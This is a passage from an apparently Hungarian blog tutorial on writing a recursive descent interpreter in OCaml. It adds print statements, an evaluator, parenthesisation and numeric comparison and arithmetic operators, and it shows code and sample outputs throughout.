<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_name ls =
  <span class="hljs-comment">(* ... *)</span>
  <span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
  | <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
  | <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
  | <span class="hljs-string">"and"</span>   -&gt; <span class="hljs-type">TBoolAnd</span>
  | <span class="hljs-string">"or"</span>    -&gt; <span class="hljs-type">TBoolOr</span>
  | <span class="hljs-string">"not"</span>   -&gt; <span class="hljs-type">TBoolNot</span>
  | _       -&gt; <span class="hljs-type">TIdentifier</span> name
</code></pre>
<p>Az ismeretlen azonosítók innentől a szintaktikai elemzés során fognak hibát dobni.</p>
<p>A <code>tokenize</code> mintaillesztését is módosítanunk kell egy kicsit, hogy támogassuk az új nyelvi elemeket.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
| <span class="hljs-string">' '</span> | <span class="hljs-string">'\t'</span> | <span class="hljs-string">'\r'</span> -&gt;
  step ls;
  loop tokens
| <span class="hljs-string">'\n'</span> -&gt;
  step_line ls;
  loop (<span class="hljs-type">TNewLine</span> :: tokens)
| <span class="hljs-string">'('</span> -&gt;
  step ls;
  loop (<span class="hljs-type">TLeftParen</span> :: tokens)
| <span class="hljs-string">')'</span> -&gt;
  step ls;
  loop (<span class="hljs-type">TRightParen</span> :: tokens)
| <span class="hljs-string">'a'</span>..<span class="hljs-string">'z'</span> -&gt;
  loop (tokenize_name ls :: tokens)
| c -&gt;
  raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col))
</code></pre>
<p>Az új sor karakterre már nem csak léptetünk, ezen kívül kezeljük a nyitó- és csukó zárójeleket is.</p>
<p>A szintaxis fa egy új típussal bővül az utasításokhoz, aminek a <code>print</code> lesz az első tagja.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
</code></pre>
<p>A könnyebb debuggolás érdekében ide sem árt a kapcsolódó <code>show_stmt</code> függvény:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_stmt s =
  <span class="hljs-keyword">match</span> s <span class="hljs-keyword">with</span>
  | <span class="hljs-type">SPrint</span> e -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"SPrint(%s)"</span> (show_expr e)
</code></pre>
<p>A szintaktika elemzéshez szükségünk lesz két új segéd függvényre:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> expect ps tok =
  <span class="hljs-keyword">let</span> t = consume ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">if</span> t &lt;&gt; tok <span class="hljs-keyword">then</span>
    raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s', expected '%s'"</span> (show_token t) (show_token tok)))

<span class="hljs-keyword">let</span> skip_newlines ps =
  <span class="hljs-keyword">while</span> peek ps = <span class="hljs-type">TNewLine</span> <span class="hljs-keyword">do</span> ignore (consume ps) <span class="hljs-keyword">done</span>
</code></pre>
<p>Az <code>expect</code> hibát dob, ha a következő token nem az, mint amire számítunk. A <code>skip_newlines</code> segítségével pedig az üres sorokat hagyhatjuk figyelmen kívül.</p>
<p>A jó hír az, hogy a <code>parse_expr</code> rekurziós láncunkhoz nem is kell hozzányúlnunk. Egy új láncot indítunk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_stmts ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop stmts =
    skip_newlines ps;
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TEOF</span> -&gt; ignore (consume ps); stmts
    | _ -&gt; loop (parse_stmt ps :: stmts)
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>A rekurzív szerkezet már ismerős lehet a <code>tokenize</code>-ból, az üres sorokat ignoráljuk, a fájl vége esetén kiszállunk a rekurzióból, egyébként pedig feldolgozzuk a következő utasítást és hozzácsapjuk a lista elejéhez. A végén pedig itt is meg kell fordítanunk a listát.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TIdentifier</span> <span class="hljs-string">"print"</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftParen</span>;
    <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;
    <span class="hljs-type">SPrint</span>(expr)
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>A hozzá tartozó <code>parse_stmt</code>, ami a <code>print</code> azonosítót kezeli. Az azonosító után egy nyitó zárójelnek kell következnie, ami után egy kifejezésre számítunk, amit egy csukó zárójel zár le. Egyéb utasításokat még nem kezelünk, úgyhogy minden másra hibát dobunk (ide vándorolt át a <code>tokenize_name</code>-ben megszüntetett kivétel dobás).</p>
<p>Ezek után a <code>parse_program</code> igényel még némi egyszerűsítést:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  parse_stmts ps
</code></pre>
<p>És a &quot;main&quot; függvényünk is módosul egy picit:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|print(<span class="hljs-literal">false</span> <span class="hljs-keyword">or</span> <span class="hljs-literal">true</span>)

print(<span class="hljs-literal">false</span>)|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens));
    <span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"\n"</span> (<span class="hljs-type">List</span>.map show_stmt stmts));
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>Kimenetként pedig a következőt kell látnunk:</p>
<pre class="console"><code>$ ocaml main.ml
TIdentifier(print); TLeftParen; TBool(false); TBoolOr; TBool(true); TRightParen; TNewLine; TNewLine; TIdentifier(print); TLeftParen; TBool(false); TRightParen; TEOF
SPrint(EBoolOr(EBool(false), EBool(true)))
SPrint(EBool(false))
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/parser..statements">módosításai megtekinthetőek itt</a>.</p>
<p>Most már nem csak egy szintaxis fánk van, hanem soronként egy, egy nagyobb programnál egy egész szintaxis erdőt növesztünk.</p>
<p>Ezzel sikerült eljutnunk egy olyan pontra, ahol már van mit érdemben kiértékelni, ha lefuttatnánk ezt a programot, akkor látható eredménye lenne. Kezdjük is el a kiértékelést.</p>
<p><a name="6"></a></p>
<h3>A kiértékelő</h3>
<p>A kiértékelő utasításonként megy végig a szintaxis fákon és hajtja végre őket.</p>
<p>Meglepő módon ez a lépés is azzal indul, hogy csinálunk egy új típust és megírjuk a hozzá tartozó <code>show_</code> függvényt:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> <span class="hljs-keyword">value</span> =
  | <span class="hljs-type">VBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>

<span class="hljs-keyword">let</span> show_value v =
  <span class="hljs-keyword">match</span> v <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"%B"</span> b
</code></pre>
<p>Jöhet a kifejezések kiértékelése.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">VBool</span> b
  | <span class="hljs-type">EBoolNot</span> e -&gt;
    (<span class="hljs-keyword">match</span> eval e <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (not b))
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (a &amp;&amp; b))
  | <span class="hljs-type">EBoolOr</span> (l, r) -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (a || b))
</code></pre>
<p>Nem meglepő, hogy itt is mintaillesztéssel és rekurzióval operálunk. Mivel boolean típuson kívül mással még nem rendelkezünk, az <code>eval</code>-ban lévő mintaillesztések egy kicsit furán hathatnak, de később még jól fognak jönni.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> exec stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  | <span class="hljs-type">SPrint</span> e -&gt;
    print_endline (show_value (eval e))
</code></pre>
<p>Az <code>exec</code>-ben a <code>print_endline</code> egy beépített függvény, a <code>show_value</code>-t pedig végre már nem csak debuggolási céllal használjuk, hanem a tényleges kód kiértékelés során.</p>
<p>Már csak a &quot;main&quot; függvény módosítása maradt hátra, hogy végrehajtsuk az utasításokat:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|print(<span class="hljs-literal">false</span> <span class="hljs-keyword">or</span> not <span class="hljs-literal">true</span>)

print(not <span class="hljs-literal">false</span> <span class="hljs-keyword">and</span> <span class="hljs-literal">true</span>)|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    <span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
    <span class="hljs-type">List</span>.iter exec stmts
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>A kimenet pedig reményeink szerint az lesz, amire számítunk:</p>
<pre class="console"><code>$ ocaml main.ml
false
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/statements..evaluator">módosításai megtekinthetőek itt</a>.</p>
<p>Tulajdonképpen van egy kész programunk, ami boolean kifejezéseket tud kiértékelni és kiírja az eredményüket. De azért kár lenne itt megállni.</p>
<p><a name="7"></a></p>
<h3>Zárójelezés</h3>
<p>Jelenleg, ha megpróbáljuk futtatni a <code>print(not (false or not true))</code> programot, akkor a következő hibát kapjuk:</p>
<pre class="console"><code>$ ocaml main.ml
Parse error: Unexpected token 'TLeftParen'
</code></pre>
<p>Sajnos a nyelv hibakezelése nem segít megérteni, hogy honnan jön pontosan a hiba, de joggal gyanakodhatunk a <code>parse_primary</code> függvényre. Szóval ha szeretnénk támogatni a tetszőleges zárójelezhetőséget, akkor felvehetünk a kifejezés feldolgozó láncba egy új függvényt:</p>
<ol>
<li>típusok értelmezése (<code>parse_primary</code>)</li>
<li><strong>zárójelezés</strong> (<code>parse_bracketing</code>)</li>
<li>boolean <code>not</code> operátor (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> és <code>or</code> operátor (<code>parse_bool_expr</code>)</li>
</ol>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_bracketing ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TLeftParen</span> -&gt;
    ignore (consume ps);
    <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;
    expr
  | _ -&gt; parse_primary ps
</code></pre>
<p>Nem feltétlen kellene az új függvény, elég lenne egy új ág a <code>parse_primary</code> mintaillesztésében is, de úgy érzem ez így jobban kifejezi a műveleti sorrendet.</p>
<p>A módosításunk után már a megfelelő kimenetet fogjuk kapni:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/evaluator..bracketing">módosításai megtekinthetőek itt</a>.</p>
<p>Ez azért elég menő, hogy kevesebb, mint tíz sornyi kóddal implementáltuk a tetszőleges zárójelezhetőséget. Ideje valami nagyobb szintaxis fába vágni a fejszénket.</p>
<p><a name="8"></a></p>
<h3>Számos lehetőség</h3>
<p>Van egy működő folyamatunk, ami értelmezni és futtatni tudja a kapott nyers szöveget. Egy új típus, mondjuk a számok hozzáadása már nem jelent különösebb meglepetést kód szinten. Az összes réteghez hozzá kell nyúlnunk ugyan, de a módosítások egyszerűek, még ha viszonylag sok kóddal is járnak. Először is a tokenek:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TNumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>
  | <span class="hljs-type">TLt</span>
  | <span class="hljs-type">TLtEq</span>
  | <span class="hljs-type">TGt</span>
  | <span class="hljs-type">TGtEq</span>
  | <span class="hljs-type">TEq</span>
  | <span class="hljs-type">TNotEq</span>
  | <span class="hljs-type">TPlus</span>
  | <span class="hljs-type">TMinus</span>
  | <span class="hljs-type">TAsterisk</span>
  | <span class="hljs-type">TSlash</span>
  | <span class="hljs-type">TPercent</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Jó sok új token, implementálni fogjuk a <code>&lt;</code>, <code>&lt;=</code>, <code>&gt;</code>, <code>&gt;=</code>, <code>==</code>, <code>&lt;&gt;</code> összehasonlító operátorokat és a <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>, <code>%</code> aritmetikai operátorokat is. Természetesen a <code>show_token</code> függvényt is bővíteni kell, de ezt mindenki képzeletére bízom az előző bővítések alapján.</p>
<p>A lexikális elemző mintaillesztése a <code>tokenize</code> függvényben a következőkkel bővül:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'+'</span> -&gt; step ls; loop (<span class="hljs-type">TPlus</span> :: tokens)
| <span class="hljs-string">'-'</span> -&gt; step ls; loop (<span class="hljs-type">TMinus</span> :: tokens)
| <span class="hljs-string">'*'</span> -&gt; step ls; loop (<span class="hljs-type">TAsterisk</span> :: tokens)
| <span class="hljs-string">'/'</span> -&gt; step ls; loop (<span class="hljs-type">TSlash</span> :: tokens)
| <span class="hljs-string">'%'</span> -&gt; step ls; loop (<span class="hljs-type">TPercent</span> :: tokens)
| <span class="hljs-string">'&lt;'</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TLtEq</span> :: tokens)
  | <span class="hljs-string">'&gt;'</span> -&gt; step ls; loop (<span class="hljs-type">TNotEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TLt</span> :: tokens))
| <span class="hljs-string">'&gt;'</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TGtEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TGt</span> :: tokens))
| <span class="hljs-string">'='</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TEq</span> :: tokens)
  | c   -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col)))
| <span class="hljs-string">'0'</span> .. <span class="hljs-string">'9'</span> -&gt;
  loop (tokenize_number ls :: tokens)
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Apró újdonság itt, hogy egyes operátorokhoz két karaktert együtt kell néznünk. Valamint nincs még <code>=</code> operátorunk, úgyhogy arra még hibát dobunk.</p>
<p>Ezzel bevezettünk egy érdekes bug-ot is: a <code>step ls</code> utáni <code>current_char</code> hívás nem ellenőrzi, hogy vége van-e a forráskódnak, így előfordulhat, hogy egy nem várt OCaml kivételt kapunk (<code>Invalid_argument &quot;index out of bounds&quot;.</code>) olyan egyébként is hibás inputra, mint például a <code>print(1 &lt;</code>.</p>
<p>A <code>tokenize_number</code> kísértetiesen hasonlít a korábbi <code>tokenize_name</code> függvényre, csak éppen számokkal:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_number ls =
  <span class="hljs-keyword">let</span> is_number_char ch = ch &gt;= <span class="hljs-string">'0'</span> &amp;&amp; ch &lt;= <span class="hljs-string">'9'</span> || ch == <span class="hljs-string">'.'</span> <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> start = ls.pos <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">while</span> ls.pos &lt; ls.len &amp;&amp; is_number_char (current_char ls) <span class="hljs-keyword">do</span>
    step ls
  <span class="hljs-keyword">done</span>;

  <span class="hljs-type">TNumber</span> (float_of_string (<span class="hljs-type">String</span>.sub ls.src start (ls.pos - start)))
</code></pre>
<p>A szintaxis fa is bővül az új operátorokhoz szükséges elemekkel:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">ENumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>
  | <span class="hljs-type">EGt</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EGtEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ELt</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ELtEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ENotEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EAdd</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ESub</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EMul</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EDiv</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EMod</span> <span class="hljs-keyword">of</span> expr * expr
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Visszajutottunk a szintaktikai elemzőhöz, így ismét felmerül a műveleti sorrend kérdése. Az új operátorok így illeszkednek bele a jelenlegi rendszerünkbe:</p>
<ol>
<li>típusok értelmezése (<code>parse_primary</code>)</li>
<li>zárójelezés (<code>parse_bracketing</code>)</li>
<li><strong>szorzás és osztás</strong> (<code>parse_mul_div</code>)</li>
<li><strong>összeadás és kivonás</strong> (<code>parse_add_sub</code>)</li>
<li><strong>összehasonlító operátorok</strong> (<code>parse_comparison</code>)</li>
<li>boolean <code>not</code> operátor (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> és <code>or</code> operátor (<code>parse_bool_expr</code>)</li>
</ol>
<p>Szóval a <code>parse_bool_unary</code> után kell beszúrnunk a láncba három új függvényt:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_comparison ps =
  <span class="hljs-keyword">let</span> left = parse_add_sub ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TLt</span>    -&gt; ignore (consume ps); <span class="hljs-type">ELt</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TLtEq</span>  -&gt; ignore (consume ps); <span class="hljs-type">ELtEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TGt</span>    -&gt; ignore (consume ps); <span class="hljs-type">EGt</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TGtEq</span>  -&gt; ignore (consume ps); <span class="hljs-type">EGtEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TEq</span>    -&gt; ignore (consume ps); <span class="hljs-type">EEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TNotEq</span> -&gt; ignore (consume ps); <span class="hljs-type">ENotEq</span> (left, parse_add_sub ps)
  | _ -&gt; left
</code></pre>
<p>Hasonló a szerkezete a korábbiakhoz, nem hívja saját magát rekurzívan, mert nem akartam támogatni a <code>1 &lt; 2 &gt;= 0 == 0</code> jellegű kifejezéseket. Vannak nyelvek, amik ezt részben támogatják (például Python-ban az <code>a &lt; b &lt; c</code> formátum működik), ez pusztán csak ízlés kérdése.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_add_sub ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TPlus</span>  -&gt; ignore (consume ps); loop (<span class="hljs-type">EAdd</span> (left, parse_mul_div ps))
    | <span class="hljs-type">TMinus</span> -&gt; ignore (consume ps); loop (<span class="hljs-type">ESub</span> (left, parse_mul_div ps))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_mul_div ps)
</code></pre>
<p>Itt megvan az említett belső rekurzív <code>loop</code>, úgyhogy írhatunk olyat, hogy <code>1 + 2 + 3 - 4</code>, ami aztán balról jobbra fog kiértékelődni.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_mul_div ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TAsterisk</span> -&gt; ignore (consume ps); loop (<span class="hljs-type">EMul</span> (left, parse_bracketing ps))
    | <span class="hljs-type">TSlash</span>    -&gt; ignore (consume ps); loop (<span class="hljs-type">EDiv</span> (left, parse_bracketing ps))
    | <span class="hljs-type">TPercent</span>  -&gt; ignore (consume ps); loop (<span class="hljs-type">EMod</span> (left, parse_bracketing ps))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_bracketing ps)
</code></pre>
<p>A szorzás-osztás változatához nem lehet sok mindent hozzáfűzni, ugyanaz a logika, mint az összeadás-kivonásnál, csak a láncban utánunk következő függvényt hívjuk meg benne.</p>
<p>Még egy apró pici módosítás a <code>parse_primary</code> függvényben.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt; ignore (consume ps); <span class="hljs-type">EBool</span> b
  | <span class="hljs-type">TNumber</span> n -&gt; ignore (consume ps); <span class="hljs-type">ENumber</span> n
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>A <code>TBool</code>-hoz hasonlóan lekezeljük a <code>TNumber</code> típusunkat is.</p>
<p>Ezzel vissza is értünk a kiértékeléshez. Természetesen bővül a <code>value</code> típus és a hozzá tartozó <code>show_value</code> függvény:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">RuntimeError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> <span class="hljs-keyword">value</span> =
  | <span class="hljs-type">VBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">VNumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>

<span class="hljs-keyword">let</span> show_value v =
  <span class="hljs-keyword">match</span> v <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> b -&gt; string_of_bool b
  | <span class="hljs-type">VNumber</span> n -&gt;
    <span class="hljs-keyword">if</span> <span class="hljs-type">Float</span>.is_integer n <span class="hljs-keyword">then</span> string_of_int (int_of_float n)
    <span class="hljs-keyword">else</span> string_of_float n
</code></pre>
<p>Aztán kiegészül az <code>eval</code> is:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">VBool</span> b
  | <span class="hljs-type">ENumber</span> b -&gt; <span class="hljs-type">VNumber</span> b
  | <span class="hljs-type">EBoolNot</span> e -&gt;
    (<span class="hljs-keyword">match</span> eval e <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (not b)
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>))
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt; eval_bool_arithmetic ( &amp;&amp; ) l r
  | <span class="hljs-type">EBoolOr</span> (l, r)  -&gt; eval_bool_arithmetic ( || ) l r
  | <span class="hljs-type">EGt</span> (l, r)      -&gt; eval_comparison ( &gt; ) l r
  | <span class="hljs-type">EGtEq</span> (l, r)    -&gt; eval_comparison ( &gt;= ) l r
  | <span class="hljs-type">ELt</span> (l, r)      -&gt; eval_comparison ( &lt; ) l r
  | <span class="hljs-type">ELtEq</span> (l, r)    -&gt; eval_comparison ( &lt;= ) l r
  | <span class="hljs-type">EEq</span> (l, r)      -&gt; eval_comparison ( = ) l r
  | <span class="hljs-type">ENotEq</span> (l, r)   -&gt; eval_comparison ( &lt;&gt; ) l r
  | <span class="hljs-type">EAdd</span> (l, r)     -&gt; eval_arithmetic ( +. ) l r
  | <span class="hljs-type">ESub</span> (l, r)     -&gt; eval_arithmetic ( -. ) l r
  | <span class="hljs-type">EMul</span> (l, r)     -&gt; eval_arithmetic ( *. ) l r
  | <span class="hljs-type">EDiv</span> (l, r)     -&gt; eval_arithmetic ( /. ) l r
  | <span class="hljs-type">EMod</span> (l, r)     -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VNumber</span> (float_of_int (int_of_float a <span class="hljs-keyword">mod</span> int_of_float b))
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>))
</code></pre>
<p>A bináris és/vagy operátorokat is kiemeltem egy kis segéd függvénybe, ahogy az új operátorok elkészültek. A függvény neve utáni első paraméter az operátor zárójelben, amit így át lehet passzolni, mint bármilyen más függvényt. Az aritmetikai operátorok egy kicsit furák, mivel az OCaml-nek külön operátorai vannak float-ok között végzett műveletekre.</p>
<p>A maradék operátor egy kicsit kilóg a sorból, mivel nincs értelmezve float típusra, így először át kell konvertálnunk mindent int-re, majd az eredményt vissza float-ra, mivel a mi nyelvünk egyetlen szám típusa float a motorháztető alatt.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> eval_bool_arithmetic op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)

<span class="hljs-keyword">and</span> eval_comparison op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VBool</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)

<span class="hljs-keyword">and</span> eval_arithmetic op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VNumber</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)
</code></pre>
<p>Maguk a segéd függvények nagyon hasonlítanak egymásra, csak az változik, hogy milyen típusokon hajlandóak dolgozni és annak milyen típus lesz az eredménye.</p>
